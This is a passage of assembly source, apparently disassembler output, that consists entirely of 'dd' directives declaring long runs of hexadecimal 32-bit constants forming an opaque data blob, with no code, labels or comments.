		dd 90650954h, 13D45622h, 1312E41Dh, 9947FF00h, 14B624h
		dd 6A23D4Ch, 59A71652h,	720B800Eh, 7CDA270Fh, 89BD4900h
		dd 70D50046h, 0AB7F1B71h, 0BBB04C6Eh, 5979601Eh, 0C5FD700h
		dd 47ED2F7h, 5E27D1B3h,	0BE80EB85h, 1DF30447h, 8014C9CAh
		dd 423ABFFEh, 0E2791060h, 6F79A502h, 40BA2A28h,	26BECh
		dd 0C4E1F0B0h, 0C2883771h, 1E15448h, 34DDDA98h,	0C800CA7h
		dd 0D5BEFA1Bh, 700C87Ch, 0B974D105h, 0F86F215h,	7B93CE24h
		dd 616DCAC0h, 2F008B5Bh, 21BE3F23h, 1315E98Fh, 0B4023496h
		dd 4E009520h, 0D235969h, 0ECE0F0h, 1F122118h, 34AA013Ah
		dd 84EC809Dh, 7E9A10D8h, 1C9400AFh, 0A47ED7E9h,	3930C445h
		dd 0C88358E2h, 82273F57h, 9A736003h, 0C0CD781Ah, 0BA51F1D8h
		dd 5F30FC00h, 5EAE2A4Ah, 9758001Bh, 14BD6F33h, 77F69E62h
		dd 0A6CA3200h, 7802A49h, 8FFA37h, 958EE421h, 96D206F6h
		dd 8A0FDEF4h, 0C0FD2B53h, 540B1A6Ch, 0D90C0FE4h, 863D6D8Dh
		dd 8EC708B2h, 21558300h, 8E5CAEF0h, 0F3020F4Eh,	58E0A64Bh
		dd 0ABB61754h, 0C8E71B00h, 91A93201h, 965005Dh,	20C992D7h
		dd 3D00F0E3h, 8D72290Bh, 1F9170C8h, 8016483Eh, 1CCCA098h
		dd 332EA956h, 0F0CCC7Bh, 724BCF2h, 0B0C21E0Bh, 0F4D6D02Ah
		dd 0E3061165h, 0DF742CFEh, 0F1E21211h, 40AA1FB9h, 7FF2072Fh
		dd 0D300695Eh, 49440435h, 2EFD5B03h, 1CB6B9D6h,	500C8045h
		dd 2E845561h, 0BC903300h, 0FFF80275h, 8E303A3Bh, 0F1410600h
		dd 5169A72Bh, 0DCC09B00h, 164A9ADFh, 17B70097h,	3A3BB6B4h
		dd 0F60BB9D1h, 8A6F8AC7h, 7802D453h, 81A9B7C6h,	38C77710h
		dd 1E49E8h, 1ECE5A7h, 764EDFDh,	0A121B10Eh, 340D879Ah
		dd 32082970h, 5CF5E03Dh, 173C5A41h, 0ADF8E80Fh,	86888096h
		dd 92F8DEA5h, 8B680303h, 0F02202A3h, 0F262E12Fh, 0B64507F5h
		dd 907CB2ACh, 0EA6A6E50h
		dd 81423D01h, 9C6DA809h, 0DF40CCh, 0E6460DC4h, 0CD393BC5h
		dd 9E255B00h, 9DB8B058h, 4C4909C8h, 0B4805254h,	6A03F6E7h
		dd 4271F777h, 0A6A51600h, 99225A24h, 67600051h,	18CEEDE0h
		dd 700433B3h, 0C6E520B1h, 9C008CB8h, 4DB53DA2h,	47008DF0h
		dd 0CBC5D484h, 0DC0C3h,	579A0120h, 0E1DDD696h, 7300D8FAh
		dd 0DBB58555h, 174F68Eh, 283462BAh, 0F43D5A0Fh,	800E36Fh
		dd 7BD2910Ch, 36DDAEAh,	322BFBF0h, 784EF355h, 0AF492800h
		dd 0B030B896h, 0BE0F0064h, 0EE06D315h, 27F68BBAh, 7B2F1907h
		dd 8210C89Eh, 2FC0F1B9h, 7090F647h, 0C900E06Dh,	0DE6A8398h
		dd 307BAC26h, 69698779h, 6C00283Eh, 0F159BF3Bh,	0A26D1Ah
		dd 5CDE8BEEh, 7E5F815Eh, 7DEC9D3Fh, 0B6A75316h,	5A8A9C02h
		dd 6AC32FA1h, 7FF08F27h, 0FB006F8Ch, 5FB6AFC4h,	5F8113D9h
		dd 0A0D487EBh, 7B2D0824h, 0A5376E00h, 71E19FCCh, 20D460C9h
		dd 0D0CFC269h, 0E83A60F0h, 777B9217h, 0A438A8B0h, 93BA0154h
		dd 0D032760Ah, 830C30A2h, 334E6B00h, 24D1499Fh,	10CF0088h
		dd 0DA7BDB8h, 7360EFC3h, 74E2263Ch, 1B120F5Bh, 1D004A78h
		dd 0F90CB6Bh, 98C68B00h, 0BBFCC916h, 0C0660914h, 0D700D495h
		dd 52D6E5B7h, 0DCABB200h, 5D9B89E8h, 343A0081h,	941E35A3h
		dd 0A4BEF263h, 0D5C3340h, 0E5DA0070h, 4688A9FCh, 8095E9B0h
		dd 0FD6693E8h, 0DE7A17E6h, 1F14008Eh, 7D429B8Ah, 0FC809100h
		dd 2729FF1Bh, 4BE9008Bh, 0AE09EE6Fh, 3C00CC54h,	0DEE7F6A2h
		dd 371C185h, 0FA8A08EFh, 78B85E0Bh, 0CB1F032Ah,	984068EBh
		dd 2DC6F2B2h, 0FE7500B6h, 0B8B9354Dh, 0CD026F26h, 0ED628F57h
		dd 3BA96077h, 240500B4h, 0C84CA239h, 4E741C9Ah,	3E9B4503h
		dd 8D6DE2h, 0FB282BF4h,	4F6F3A99h, 1B24B9F4h, 4E1528E1h
		dd 0DB6300E4h, 8B7B4D11h, 1856002Ch, 0A5D3C067h, 71004309h
		dd 53A86025h, 165BEA42h, 9104AAAh, 9C105AD6h, 0F678445Dh
		dd 64209500h, 0F993F23Fh, 472400C5h, 390318C1h,	221F40E5h
		dd 83001B20h, 418A5070h, 5A6F48B0h, 0FACD680Eh,	113D8460h
		dd 0AE009F9Ch, 3AFCC072h, 4F59CB22h, 40C41CB1h,	0F4562F05h
		dd 0E200671Dh, 3F3A232Ah, 1D114CA0h, 0DFD6FFh, 1F21A288h
		dd 8100863Eh, 0BF72CFEAh, 2249A1h, 7626FEFDh, 0ACC7BD52h
		dd 0F1CD5604h, 68BCBE5Ah, 0F5788D09h, 80A728A4h, 0A9083970h
		dd 24F0AA09h, 0B4D03Eh,	0AE87B918h, 62E904F4h, 2600A175h
		dd 0F603634Bh, 9A94A8h,	0BC9E80FDh, 66598934h, 0B954A63Dh
		dd 1D088002h, 0B1F2DE0h, 526A121Bh, 40FA1E7Eh, 0A184BD99h
		dd 162EF870h, 250E3FEAh, 0DBFBFFF4h, 21A3C807h,	0C1122410h
		dd 43983951h, 0D210D083h, 46E05F77h, 13003027h,	0ACE4D7CEh
		dd 3B5612D8h, 0D101D62Ah, 0DEBC1B8Dh, 3AE340AEh, 8201B0A4h
		dd 2EEA7EB4h, 860EB3Ch,	0E0AB001Ah, 5E6267FEh, 12000944h
		dd 8037A2E4h, 0EC17BED3h, 0B5E500F7h, 2EA55515h, 79150DCDh
		dd 0A4A934h, 0F639141Eh, 0EC76D6h, 0D3410CBCh, 4DA5EA9Dh
		dd 9B205E07h, 4B10A888h, 5E2894Eh, 0EF31238Fh, 0C050C291h
		dd 0F343D040h, 7000194Eh, 0C271DDA9h, 32A50E9Ch, 0FEA94DB9h
		dd 100174DAh, 4E7FB4C8h, 18D089A6h, 0D8F40191h,	9EE10ED6h
		dd 1080D616h, 9BCF0951h, 0CE53BB00h, 3E9CCD13h,	0B14F04C4h
		dd 0A8324A27h, 0EA7007E4h, 803996BBh, 79BE20C8h, 0D5940047h
		dd 0F154C43h, 7F0034FCh, 0C86E5878h, 2E4D617h, 0C12C82B5h
		dd 215535A1h, 162E3B00h, 95B98CECh, 0F092E0B0h,	90025091h
		dd 69818FAEh, 6C0D3CF8h, 0C4850058h, 0EFCC2E6Dh, 4F0B00BDh
		dd 6CFD217Ch, 0EE017673h, 3A939BE5h, 28286BF1h,	4F6A0078h
		dd 0B0297F0Fh, 6000557Eh, 0B5264E1Dh, 814DF9h, 0EA035335h
		dd 16D59E6Eh, 0BF017800h, 964B8DE6h, 27E11E55h,	76E94B2Fh
		dd 3A0D9061h, 0F8D3A004h, 0B2F88057h, 6A1CD9AFh, 0DAC08781h
		dd 0BC422769h, 8CD200A6h, 0EE3C2F33h, 7300B69Ch, 0DB2DC8EDh
		dd 0BD9F20h, 7997BB62h,	719509A9h, 0AADA8C00h, 5C2E270h
		dd 0D58F037Ah, 0FBB0D686h, 0AB942680h, 0B95E6600h, 90919F79h
		dd 0C7FC02ADh, 0CE8E77DCh, 9664AE48h, 4407C5FAh, 1795E272h
		dd 13F2E00Fh, 0E7E28h, 50A7674Eh, 0CECCBB1Ch, 0E75D3C01h
		dd 8DB3CAFEh, 0AA8000EBh, 6DD7EC4Eh, 43018B52h,	0E1EFDA7Bh
		dd 41FC59EDh, 0C42C00CEh, 0F47CAADFh, 0A475FB0Fh, 1B987B06h
		dd 0CD07Ah, 65F97779h, 0D808C1F7h, 1A46EE05h, 0FEC3DBF6h
		dd 2C59FE5Eh, 58C50Bh, 2D321064h, 6B1E524Fh, 0E6C04733h
		dd 0F9A59048h, 26C70044h, 925C2ADAh, 2E006F53h,	0D705D98Ah
		dd 2F5E22h, 0FDB9E562h,	0FA678875h, 0A6436B00h,	0E1EDC966h
		dd 0E7250055h, 3F9B97B5h, 0A500B788h, 15B6C39Dh, 60B90E1Eh
		dd 0F14056FCh, 0AE052563h, 0F722A802h, 81588C04h, 291500AEh
		dd 6D8B26B2h, 0ADFAE700h, 0B63AD547h, 0B77E006Ah, 699423F5h
		dd 0C90F8650h, 0CBFB8Ch, 0E8583C6Fh, 5E1902FDh,	0CEDFC262h
		dd 35206057h, 0AFB80066h, 0C338A5E0h, 0DB00F84Dh, 0F4DEB7C2h
		dd 1CD01883h, 0C07F6E39h, 1DB41659h, 780738E4h,	1B5AE786h
		dd 80D26B23h, 52F44Bh, 7183CB6Ah, 12949E5Fh, 9A1E803h
		dd 0CA976D60h, 66FCE0AFh, 0F85700B1h, 689521CBh, 4B006FDAh
		dd 52DFAD8Ah, 0FC0C8Ch,	3E33DB02h, 49B2BE0Ah, 801A6D39h
		dd 75083617h, 0FBFAD6h,	0AF57D16Fh, 7240979Ch, 0E7293401h
		dd 3608D79h, 0D09830h, 2355B1A5h, 90C8D1AFh, 412ABA00h
		dd 977CD43Bh, 0F19A006Ah, 7EAF9BA4h, 0FB507298h, 0D17821B8h
		dd 89387D00h, 0C403AAD2h, 43440087h, 11B4D867h,	0C7A08817h
		dd 0DC003C98h, 69E676CFh, 423AA4h, 0F377D6DBh, 0F938AA78h
		dd 8414F807h, 0E633B1CCh, 0F4B3881Eh, 0DCE300E9h, 0E13D3E1Dh
		dd 0F60077CAh, 0AA368DA3h, 729F1Bh, 5D7FC121h, 818AAF93h
		dd 0FD828500h, 965BCD45h, 0C43000Fh, 8BD7ED0Eh,	0A800C901h
		dd 8471DEE3h, 9DF43Bh, 485DE717h, 48BFCE2h, 0F3EC3E00h
		dd 77C8CC3Fh, 9F900095h, 0B6B0B5F0h, 300F55E0h,	0A08BA8FFh
		dd 0E3F90D26h, 53CF0047h, 6BEA792h, 43008525h, 6F215016h
		dd 33E7652h, 0EF1C5C2Dh, 0EDC8D04Bh, 0B200E799h, 0D830FF58h
		dd 12DF9C0Fh, 20E8DAC0h, 0BCCD4960h, 0F0884300h, 0A131C645h
		dd 0CE8C00A0h, 0C204A7EBh, 0CF010F72h, 21104065h, 20ECCDB0h
		dd 7351016Ch, 3A82165Bh, 109E20F6h, 0FCBDC4A0h,	3E9D323Eh
		dd 0BE27B0E5h, 1CE8FAFBh, 80450C75h, 13A2B26Bh,	0AD010A50h
		dd 2408F2B9h, 0CEF89704h, 0C173004Dh, 0C5F44532h, 0F90C05A3h
		dd 0D81D43AFh, 0D798B9h, 4182D05Dh, 544CC50Fh, 3E30A65Ch
		dd 0F5E00713h, 0A9A09DBBh, 3A0EF7C3h, 0B600AF27h, 5D3A6134h
		dd 900036E4h, 6E31FDC8h, 0FAB6D13h, 762FA650h, 0F19603E2h
		dd 9B2C5E40h, 0BF28D12h, 0AC3E4C00h, 1C387523h,	412A2D35h
		dd 0A6B57015h, 44B570A5h, 0C67F2E00h, 0BC8E752Fh, 5C7984h
		dd 8FC3C55Dh, 72FCB836h, 8D095900h, 0C988287Dh,	0E6BC022Bh
		dd 0CB5A8004h, 2ECF2C63h, 0E62C0A3h, 6320F000h,	0D61F95C6h
		dd 0CEE50030h, 2196C5A6h, 0F000B935h, 9E49C1FCh, 878BAEh
		dd 54BCF9EBh, 39E99498h, 0B5072800h, 0C5C35AB6h, 10171DD3h
		dd 7AA800C0h, 83AA0627h, 86326301h, 26D751Ah, 718E5AD4h
		dd 0A4BC00F3h, 18C2AEFDh, 1B00D8E4h, 7207A933h,	713841C4h
		dd 619800D1h, 0D51CEBAFh
		dd 0CE009124h, 23A08E69h, 1F263B2Bh, 0C0AC3FB7h, 564E6261h
		dd 0DF07AF8Ch, 0BEE82A67h, 28D0C647h, 1DE04C90h, 667F4ED5h
		dd 8CAE0F52h, 0B1EDDE01h, 0C264D81Fh, 0BDF2EEA0h, 747E3Ah
		dd 0D33C188h, 0ED4906h,	691157BAh, 0E17EE761h, 234F1801h
		dd 5B9FD092h, 4BFAA8FFh, 35F20095h, 8303BE2Ah, 2E008ED1h
		dd 0F7E33037h, 91D49Ah,	21CAFF59h, 0E8601D99h, 6CBF207h
		dd 5570CC12h, 1F3132CDh, 0C0631C04h, 5F09D34Eh,	4B87617h
		dd 58846913h, 216BCA00h, 3ABEAF82h, 2D031E4Eh, 0CFCCFA6Ah
		dd 0F673E1A8h, 0DBCA3F00h, 0FC8FA352h, 1303942h, 7C332787h
		dd 8ED0A315h, 739D80E5h, 97001E84h, 0A3568C91h,	0EAB38942h
		dd 280805D2h, 800EA98Fh, 190C690Fh, 613CF300h, 87305C1Ah
		dd 0AD9700BFh, 16678A73h, 0D3F672F2h, 9E5D7700h, 894CCFDBh
		dd 0A06F30B7h, 0AD0B0F0h, 0D295260Eh, 0C8750014h, 245B3816h
		dd 0E0EBBCEh, 7020EB1Fh, 35A23D0h, 0D34C7974h, 0AD6E00DCh
		dd 1995CEAFh, 0FCF6009Eh, 43B8B050h, 1400B9FBh,	0A5A8B773h
		dd 78710613h, 0AAB50C94h, 6510823Eh, 0EA6358h, 511DE5FAh
		dd 3D3D6D50h, 4E849C78h, 0C805A78Eh, 0DC3CF3F8h, 0C4E22CB2h
		dd 0DAC24180h, 0FCCCE4A9h, 0F95A006Eh, 52102FDDh, 6A00C4D5h
		dd 15041617h, 3BC2D7BAh, 51EFA54h, 0A8D1032Ah, 1102F67Eh
		dd 79A7D2BBh, 2C60E01Ah, 0A6D30350h, 3A291B16h,	30B68BE1h
		dd 3000CAA4h, 0AE51FA42h, 0F953127Ch, 91D029D1h, 0CEB930DAh
		dd 894DFF98h, 0D6645D01h, 0F661B4D7h, 4CC6C0D4h, 6618C82Ch
		dd 1E1F10FEh, 17E00689h, 93FA1EB9h, 13C70360h, 280063ADh
		dd 0E3CEBADBh, 0CFD2BFAFh, 0B8475361h, 8129D0F9h, 0C609C916h
		dd 864D1C7Ch, 2706063h,	31AB61A9h, 98A6FA1Ah, 0DF00C878h
		dd 421FEEE2h, 0F886B762h, 9F72E8B5h, 6300AA78h,	0B0D19FAFh
		dd 90902E1Dh, 9DD61E9Ah, 0EF06C7ABh, 0C9AFA0DBh, 0F960BE45h
		dd 165E518h, 0E72B3EF8h, 96E46200h, 0D9923557h,	6A820C2h
		dd 0C944C8CEh, 651F0C67h, 1D30DA9Bh, 0F6180A06h, 368830D1h
		dd 4018B12Fh, 0B183907Ah, 0DDE053AEh, 8A978CCh,	0D6EFBDDBh
		dd 0DCACCA03h, 60E100E3h, 0AB704967h, 5E518AD1h, 0FE13F0D8h
		dd 180721CFh, 60455789h, 2BAE51E1h, 623125C9h, 52B5D1DCh
		dd 0CE737F8h, 0F94283CDh, 4A022D41h, 4EEFB4FCh,	330848A9h
		dd 0D9CF0C97h, 0B3E04636h, 5E41F3Eh, 0F866DE2Eh, 602FE80Dh
		dd 0FFB06000h, 0E86203AAh, 863618D6h, 5AEB04F8h, 0DDFEF007h
		dd 0F8204D0Bh, 202CDA2h, 0F2FDE8FBh, 71601069h,	23E6E62Eh
		dd 0CA0158C0h, 0C0FB40E4h, 7729DFA1h, 460661B8h, 0E7E5CD6h
		dd 21D26008h, 4A772124h, 73F720Eh, 0D4001C6Eh, 2D5384DAh
		dd 80C1509Ah, 21FE0AC2h, 80A05C8Ah, 138D1F78h, 0EE0C72E2h
		dd 83AD9B7h, 9FACA874h,	4E8D0017h, 25077AEFh, 440595FFh
		dd 0C76DE224h, 3591F441h, 608DC3FAh, 91381D80h,	10801C68h
		dd 2AE2188Dh, 216D608Ch, 7B8D289Ah, 4F634E0Eh, 0F4D475h
		dd 0FDE9DE74h, 8BFF6067h, 0CB257FA9h, 0EBC2007h, 98FAEDA1h
		dd 2780E691h, 3661B677h, 1F3A0087h, 9867F977h, 78537200h
		dd 0A5DDE23Ch, 1E451055h, 98573BEBh, 0B3E8CD07h, 4F0C92ACh
		dd 0B0B834h, 83385FC9h,	3940F9B0h, 0E180A2D2h, 0A863297Fh
		dd 590609D1h, 88D95FFCh, 192800B0h, 0BC25BE83h,	63746E7Fh
		dd 0DE05791Fh, 0E866E940h, 1E3CE6BFh, 8058A16Dh, 0AA65B9D2h
		dd 0B53DF00Ah, 3993809Dh, 85C1841Eh, 0AE34392Fh, 6A73FF80h
		dd 96605931h, 2277A303h, 0EF02453Eh, 0BECA42A0h, 0AF7E40h
		dd 0D6E619A5h, 61FD2B27h, 55C30A00h, 647B245Eh,	39A5005Ch
		dd 4E882316h, 3D189558h, 6C3884F8h, 60CC90CDh, 7534839h
		dd 0AB00FBFDh, 296680D9h, 1F5B02B1h, 40456B44h,	0A67B0FEAh
		dd 100C110Dh, 50461443h, 70690024h, 0B738E440h,	8180A58Fh
		dd 8065020Ch, 96DD55C0h, 66AED887h, 3B00305Ch, 354A0BCEh
		dd 74CA9717h, 1BBC00A0h, 0DFCFFEC0h, 931F056Dh,	9B0090C1h
		dd 0F52D2EE2h, 98B000BAh, 0A5CECD52h, 0D0393F8Ah, 0BDB98751h
		dd 0BC435DCBh, 8D810A97h, 80905458h, 0F5A30238h, 0EF30948Ah
		dd 2472F1FDh, 2AC21EF0h, 0EBCE40A4h, 1EFBFAB8h,	8F373600h
		dd 0E9FDB960h, 0EA23EADFh, 597600A6h, 94F10FC6h, 520E4D29h
		dd 0B3F5167Ah, 538BA600h, 0A395B1h, 0C9A60F20h,	25FB5FA5h
		dd 20E63924h, 0E93A3Fh,	3571A802h, 3AB1217Eh, 396F32C2h
		dd 40BA6486h, 820FD300h, 4876055Ch, 946C00D4h, 644A49F6h
		dd 2E00E37Eh, 316227A3h, 0C6D03A1h, 3C8B195Eh, 0F1A05849h
		dd 791F9780h, 0AB6ECAD8h, 7B83B300h, 55B543h, 44AC2EEEh
		dd 16497374h, 20779900h, 5D3770E6h, 431E0353h, 8D462740h
		dd 0ABD41800h, 47AC800Dh, 0B68106BBh, 204F61D8h, 52A81500h
		dd 308817BEh, 0DCB418ECh, 58BB16F1h, 86B8BA6Fh,	2919A0D4h
		dd 3E94CBB2h, 0D874A63Eh, 94911810h, 0E9C3B980h, 1BD8F900h
		dd 0FB995100h, 18B09A48h, 2C1D00FCh, 7259CE15h,	51C97588h
		dd 1F3180C6h, 0C0C0B8F0h, 0E14FF841h, 0E70A4B78h, 8FD2CD63h
		dd 6FBB6E00h, 18920EDh,	0F05DDBAh, 0D84A39F2h, 0B8188301h
		dd 0C140A24Dh, 1FBFEA40h, 4348E53h, 8060DC67h, 0D4D62702h
		dd 0BD0078F2h, 10EEA92h, 96E8Dh, 34ABE5Ah, 43421860h, 1075500Eh
		dd 0EDBBE03Bh, 0D0FFAA0h, 0EAD20EEh, 0DC040C48h, 106D4830h
		dd 4206A5h, 0FA0D84C6h,	160E3E5Eh, 2EF60800h, 97A9DCF9h
		dd 0CC260C9Bh, 0EE294812h, 200A5F44h, 3D422FD4h, 92C4813Eh
		dd 44B95944h, 0F58851D2h, 7C291256h, 7F7A00C9h,	616C53E2h
		dd 70B4D400h, 1B50E00Dh, 241C3F6Ah, 0EC14DE83h,	5AF03454h
		dd 7400237Bh, 732087F5h, 7F0AF8Eh, 0BD719524h, 41D6A040h
		dd 0F1CBEAB7h, 0E0C18083h, 0F753BEh, 0C1BA511Fh, 0C025877h
		dd 0C294B200h, 0F482ECD6h, 1D805C69h, 0E79C403Ah, 60F240C1h
		dd 17A2E04h, 0B0845Ch, 0C93B41CCh, 0A172FFh, 7B6578EEh
		dd 8F465AC2h, 2D896300h, 1AF32A3Eh, 3B993CEDh, 7DE0AE00h
		dd 0D4EB1491h, 0AA3CA400h, 13A61886h, 0A80F3B95h, 0D767800h
		dd 626EBAD2h, 0C6570E03h, 0D0095863h, 0EE75DFh,	5B53FBC5h
		dd 0A769A106h, 6A2E4B00h, 98D6735Fh, 77D35h, 0D97178D8h
		dd 0C5131452h, 0FF7B9000h, 1B1139F8h, 0E81807CBh, 120E5D4Fh
		dd 8402BDFh, 0A90B7DD6h, 49C32h, 8E37FE88h, 983E7B9Eh
		dd 0CE50014Fh, 33D02392h, 3DCA40E7h, 78004819h,	0EBFEDE93h
		dd 0A7F745h, 774E4D70h,	1CC6352Ah, 22EA9D1Dh, 2DD99B00h
		dd 9AC1A5Bh, 0F9CF8654h, 0DFC100DDh, 39083C9Dh,	0B7805C71h
		dd 0E14F4AFh, 0B139DD5Ah, 0BC26815Eh, 0F625C0CCh, 0FD11CCCh
		dd 0C712D535h, 6394DC60h, 78004FCEh, 3C4E3F81h,	0FFA6F62h
		dd 6715A747h, 0DC418960h, 0FE004B90h, 4378D4B8h, 7DB5B7h
		dd 2ECE7BEAh, 1BAF2142h, 0FD6B0300h, 0AAF630EEh, 76E0082h
		dd 721A0B11h, 70008932h, 68D7A39Fh, 18E8EFh, 805BFE0Fh
		dd 4B57DE60h, 2BC1D900h, 9A1FD55Fh, 0D032092Eh,	0B802AEBEh
		dd 2160F3C7h, 0A01F08Dh, 1390FEBAh, 3020C663h, 79F801C4h
		dd 153A681Ch, 64F7CB62h, 89348039h, 0E4091220h,	8035CD7Ch
		dd 0BF227B9Dh, 77E60003h, 78BC9DDBh, 421E24EFh,	0FFFD61h
		dd 2E7392D7h, 159E4Dh, 4E791C4Bh, 33C58ABh, 3022FC17h
		dd 0AD21E00h
		dd 372819Eh, 59D751B2h,	50B76CFBh, 0D26BB787h, 1DF2E58h
		dd 425D3AE2h, 67CC6282h, 6ADE0071h, 0DF2C4B86h,	0A7006EB9h
		dd 23CFB514h, 3561EA0h,	0C47ABA83h, 99E03A2Dh, 9000EE37h
		dd 203D650Bh, 0FA49BFEh, 8B80BAF6h, 41B4130Ah, 1119E933h
		dd 0E02A3442h, 0B9002904h, 0F2AF4EADh, 7A5A9A81h, 26082458h
		dd 0EA5605B8h, 9683BF66h, 0BEC90CBh, 0F8430324h, 9798FDA5h
		dd 3A6721C8h, 198E851Dh, 47314AC0h, 0B0C87D71h,	3660FFE0h
		dd 0BA8A0F40h, 0C280F220h, 4685C47Bh, 43961B00h, 116974A1h
		dd 0BA18004Ch, 4107C382h, 0C400C9D0h, 102C0ADFh, 0D40F3Dh
		dd 79F4FBBDh, 0ADB656A8h, 2DCBF800h, 22661D9Ah,	756901DFh
		dd 99F3DE9Bh, 0E15E601Bh, 1376FE00h, 8B3EE2C4h,	0C463FD7h
		dd 2B4EE000h, 82837345h, 707F5E01h, 0ED3576C4h,	0A0B5F1E8h
		dd 15F07BCh, 4A3C989Fh,	0F865F9A1h, 0C72660B0h,	12008061h
		dd 35B8B40Ah, 0A3623A79h, 4DAB6700h, 0A1AC1720h, 0AE741300h
		dd 339047A6h, 21C0009Ah, 0B62AE810h, 0D7079F3Fh, 2EF443D2h
		dd 88EC23E1h, 0B4306AE1h, 0AB7C54h, 9655076Bh, 1C58B969h
		dd 8E0AD900h, 5DC2C997h, 0BECBAh, 34D603F7h, 5CC8173Bh
		dd 3CA0290Fh, 0EEB460C5h, 0BFD29Ah, 0C1072B76h,	0D6C9BD4Ch
		dd 0D0048500h, 39A15D7Ah, 52F4EAh, 0A849CEF2h, 0E9C369C2h
		dd 0E300147Ah, 0D0E84D9h, 5CC6B8h, 4124C02Ah, 483D5FC4h
		dd 1C470500h, 2167557h,	64DC0063h, 30A47F51h, 700994Fh
		dd 0A1B39342h, 48049482h, 7FE0ECh, 5A5898F2h, 3A96F8C5h
		dd 0F86C100h, 0E5D2829Eh, 68E600DCh, 4A123063h,	250E9D90h
		dd 13C5AADh, 3BB2D988h,	3C79A070h, 230080E1h, 2220DA82h
		dd 3E00C7ADh, 64F4CAAAh, 13550260h, 0B059FDh, 367F314h
		dd 0B400D192h, 8E2A9737h, 7DAA707h, 34993D9Eh, 0FEC008Fh
		dd 197427D8h, 80247C3Eh, 1635653Fh, 9A3E6110h, 19FF041Ch
		dd 0C0E047BBh, 64570114h, 3C7F8B85h, 0B300705Ch, 35397819h
		dd 70ECE0h, 5557DF1Bh, 81463D1Dh, 3F071AFCh, 2187AF5Ch
		dd 9C8EB107h, 0EBDC88C0h, 8BA1FCh, 0C515C154h, 29E80E85h
		dd 303558h, 71AC7C1Ch, 7284A14h, 0C547F76Dh, 8B1870AFh
		dd 0B33D3CA2h, 7FD4890Ch, 53DF8048h, 418524h, 0EC83C715h
		dd 7E7152B5h, 13235800h, 0B41DF95Fh, 664E00B1h,	88D26DBCh
		dd 0F0A5C9Fh, 0BA986FA5h, 2BAB200h, 3FD6834Dh, 0A6D0E737h
		dd 93D300ECh, 2CD03CF2h, 0C600A7F0h, 0D7A62123h, 0C0A16312h
		dd 0ADE80A6Ch, 0C0003E6Fh, 0F7848BD2h, 0BA6BA0h, 9F69B52Bh
		dd 0E04D9DB4h, 0E50091E8h, 0DB23C716h, 0D746F5h, 7A833D9Bh
		dd 374DA05Eh, 7803A600h, 0B63EF72Fh, 478D0022h,	0DD7593DCh
		dd 9490A1E5h, 0E977AD81h, 2FC0F827h, 8D0099B0h,	5FF4C124h
		dd 0B86BF92h, 5ECE37B5h, 63ED6880h, 7C00F7B3h, 0F1CDE77Bh
		dd 0AD1C747h, 2A411FCFh, 3C4A00BCh, 0ED7F776Ch,	518FF901h
		dd 8076692Bh, 261DA072h, 5AB3006Dh, 561FA4E4h, 38E3CB00h
		dd 0DFF8AA04h, 657D2Ah,	0CF95303Ch, 0E310D942h,	8829D05h
		dd 0ACD0B6A6h, 0E590BCh, 0E25A44CCh, 547E9B23h,	0FFFA7F07h
		dd 47F0D849h, 14D12h, 0A9FE8468h, 5C1483C9h, 0BE898A00h
		dd 0BDEA1921h, 0EFE400DDh, 13807061h, 0D401851Bh, 60B8C907h
		dd 0A8DBFCF6h, 4C696E9Ah, 0E612DFDCh, 0A11C8224h, 9CF8CA43h
		dd 623BDD15h, 7E1805Ch,	42090E0Dh, 1E30798Ch, 1E1AE77Dh
		dd 9C55032Ah, 0ABF8F543h, 783D46B9h, 3CE80308h,	0CB9688F8h
		dd 3A6BF864h, 1DDD001Fh, 1AD8C2F0h, 0AC1C81EAh,	0B64165F2h
		dd 0BFDEC7C9h, 0CA40B071h, 0E2CB6212h, 0FF7D0794h, 8F4DBD83h
		dd 0A8892580h, 1F00CD06h, 692E474Eh, 0F03348h, 0C028307Ah
		dd 12357285h, 0EC362901h, 3DC65F89h, 3D8639F0h,	2B3B9A23h
		dd 71EFCA80h, 0A1D2D4BBh, 5AEE200Eh, 3F45A04Bh,	0A62F8Dh
		dd 0EDFD023Eh, 8C81C30Fh, 37089526h, 0A92B8700h, 4B5041h
		dd 0C79419DCh, 0FF2AA553h, 0BCCF1807h, 0E94D8Fh, 2DBE5BECh
		dd 0F19101EDh, 0F27BA34Ah, 999320A4h, 49F88C09h, 0C7AA8006h
		dd 38483880h, 0C49D8B8Eh, 2D888ED8h, 74875D02h,	4BD240C0h
		dd 0F5786D00h, 0F66322B9h, 12F094A7h, 0B5F88057h, 807666Fh
		dd 0F8DA73D0h, 482850D2h, 2517DF5Ch, 0FC0083F9h, 894FAC68h
		dd 2406758h, 4535EA94h,	0D69D0006h, 8B00CC46h, 6BE27322h
		dd 3B1E4Ch, 83C559F1h, 9E82DB36h, 3AF0230Fh, 0AD7500DAh
		dd 8BBEEDh, 40C111F3h, 0C8E5EA6h, 882B0900h, 0EC95551Fh
		dd 0CEFA00D1h, 3AB79125h, 1D00F368h, 694A6D65h,	0E44B3327h
		dd 96721F58h, 0E180BFB5h, 0D919858Ah, 0A00B70D7h, 763EC0h
		dd 500D742Fh, 651800ACh, 7E0B6DB9h, 5D0F9E96h, 0A0BDB3FBh
		dd 0E6CFE2B8h, 9B843802h, 13A35C1Ch, 1AF70062h,	3240AB97h
		dd 7E002C7Ch, 0E630ADA7h, 0CFC60Eh, 37F47FA0h, 0A8B1E7BEh
		dd 0A6701800h, 0AC49D5E3h, 725F3E65h, 0CB8FDF01h, 771BE917h
		dd 0C3964084h, 7B0981Eh, 702F6800h, 0A73F35h, 3DD4CD0Eh
		dd 5E54BB74h, 75A0645Fh, 122D00FFh, 4C20B6A7h, 2300B2F7h
		dd 7A90CF87h, 0F02C955h, 35ABD30Dh, 4EA67805h, 4B207584h
		dd 0AED7E083h, 7CBF8200h, 0C1DB7404h, 5C3B070Dh, 0F030FD4Ah
		dd 0BE9D4208h, 0A62B6400h, 0ADDFCF3Dh, 0A31A04FCh, 0E019367Ah
		dd 3B002470h, 16CA8B39h, 9025951Ch, 358D0004h, 3C671210h
		dd 5D1C3741h, 32005009h, 0BF3FFBCBh, 7A300DCh, 3A062629h
		dd 0F71FD0C3h, 9CC0F270h, 0BE6128ACh, 415F4B87h, 0FCCCD6FCh
		dd 0ECE0ED06h, 0F2001330h, 3858CB40h, 0F81A23Bh, 0CDAC120h
		dd 6C0C921h, 9F9DD074h,	7DF9000h, 27602C21h, 0D5800B8h
		dd 83FD6938h, 530044FBh, 6F1731CDh, 48942A6h, 8B6D40E3h
		dd 0FA18B0B5h, 0F4923C00h, 0FD1032Bh, 8F311D3Fh, 81807BE8h
